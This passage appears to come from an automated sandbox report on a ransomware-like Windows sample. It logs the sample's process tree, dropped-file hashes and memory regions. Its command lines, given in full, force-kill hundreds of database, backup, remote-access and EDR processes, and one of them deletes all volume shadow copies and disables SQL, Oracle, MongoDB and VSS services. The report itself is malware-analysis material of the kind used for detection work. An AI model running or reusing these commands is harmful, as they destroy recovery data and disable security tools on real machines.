- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM php.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "notepad++.exe" /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "phpStudy.exe" /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RavTray.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mssearch.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlmangr.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msftesql.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseSvr.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oracle.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TNSLSNR.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseConsole.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aspnet_state.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bedbg.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarMoniService.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGameSrv.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRTPortable.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBox.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSVC.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBoxVM.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM abs_deployer.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_monitor.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfupdatemgr.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ipc_proxy.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_agent.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_sec_plan.exe /F5⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe"C:\Users\Admin\AppData\Local\Temp\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe"2⤵
- Modifies extensions of user files
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off sc config browser sc config browser start=enabled vssadmin delete shadows /all /quiet sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Jsotgyzofbr.vbsMD5
7c927e1f8e6c738d88c2b7ed0806fd62
SHA10c886b340c985f111fb14deb04cc8090b248d05d
SHA2569a743be688523210a427651d6b4c6c9a1aad17bae5ed526cab6513a61201542c
SHA5126b384e64b7ed4cbdffac11cb9c24a8929519b8167f924414bf77b24ba4fbf956ecfc8ffbe94d68daf9b2c731714444eda9eae95ffc936dc2d2d0498c79821aea
-
C:\Users\Admin\AppData\Local\Temp\killer.batMD5
0e1eaa552d6fa81c41bf701b12ac8206
SHA10be2b00e0ffe9631fe9e3e60b9f76e3b9cf6ff89
SHA256d2b92b8666df53d7ee0ad2423535f16320ae6596ac70b60175661c95d1671f8a
SHA512d9c34d3278317db09d1fe9e92de7707a7c03475b7cfd87e00bff0c50c8af08b79a28cfea7763f92220dbdec73b51c60680d2110f893d61720849a9442addb440
-
C:\Users\Admin\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe.logMD5
03b5cd8a8117de31c2e149047e846e94
SHA14b40250c68be10d8404f75db674e7c1f45bf8744
SHA256ee48a4850f2642531c1c4f116e2092fcbae9e7c0e13765a0a0daff6cf53d5c4b
SHA5129a10107f9e15905b663a610d16f08626fb4ae595ce269db7658e60ab541d61591dc59b6f20649284f706982bb64525597550868ec78e81d44f296f36b0567fdd
-
C:\Users\Admin\Start Menu\Programs\fec\ bfsv.exeMD5
3826bed52716d0bffc986424a71f2dbc
SHA1b8f51f6c606cd79723c63bcbd9ad9356aa25e35a
SHA2561e20865e812e3570c70d5500dc77fc2e54615e4ba6cf59450624a6f23ccada2c
SHA5129e15d60659885c7d6a1895608d80a6463ef781af09c4c31383a47b2b366d70ec9b1d4dd4564063da740cfcda6c55adb5c2bb95535713d5f75f9c4bdcec800091
-
memory/8-439-0x0000000000000000-mapping.dmp
-
memory/184-564-0x0000000000000000-mapping.dmp
-
memory/192-797-0x0000000000000000-mapping.dmp
-
memory/200-758-0x0000000000000000-mapping.dmp
-
memory/204-229-0x0000000000000000-mapping.dmp
-
memory/208-4-0x0000000000000000-mapping.dmp
-
memory/356-755-0x0000000000000000-mapping.dmp
-
memory/392-799-0x0000000000000000-mapping.dmp
-
memory/412-854-0x0000000000000000-mapping.dmp
-
memory/416-633-0x0000000000000000-mapping.dmp
-
memory/424-440-0x0000000000000000-mapping.dmp
-
memory/500-759-0x0000000000000000-mapping.dmp
-
memory/508-897-0x0000000000000000-mapping.dmp
-
memory/512-808-0x0000000000000000-mapping.dmp
-
memory/544-613-0x0000000000000000-mapping.dmp
-
memory/584-740-0x0000000000000000-mapping.dmp
-
memory/636-638-0x0000000000000000-mapping.dmp
-
memory/640-0-0x0000000073DC0000-0x00000000744AE000-memory.dmpFilesize
6.9MB
-
memory/640-1-0x0000000000530000-0x0000000000531000-memory.dmpFilesize
4KB
-
memory/640-3-0x0000000004F10000-0x0000000004F63000-memory.dmpFilesize
332KB
-
memory/640-6-0x0000000005070000-0x0000000005086000-memory.dmpFilesize
88KB
-
memory/644-814-0x0000000000000000-mapping.dmp
-
memory/652-357-0x0000000000000000-mapping.dmp
-
memory/688-673-0x0000000000000000-mapping.dmp
-
memory/720-659-0x0000000000000000-mapping.dmp
-
memory/724-774-0x0000000000000000-mapping.dmp
-
memory/744-765-0x0000000000000000-mapping.dmp
-
memory/748-103-0x0000000000000000-mapping.dmp
-
memory/772-32-0x0000000000000000-mapping.dmp
-
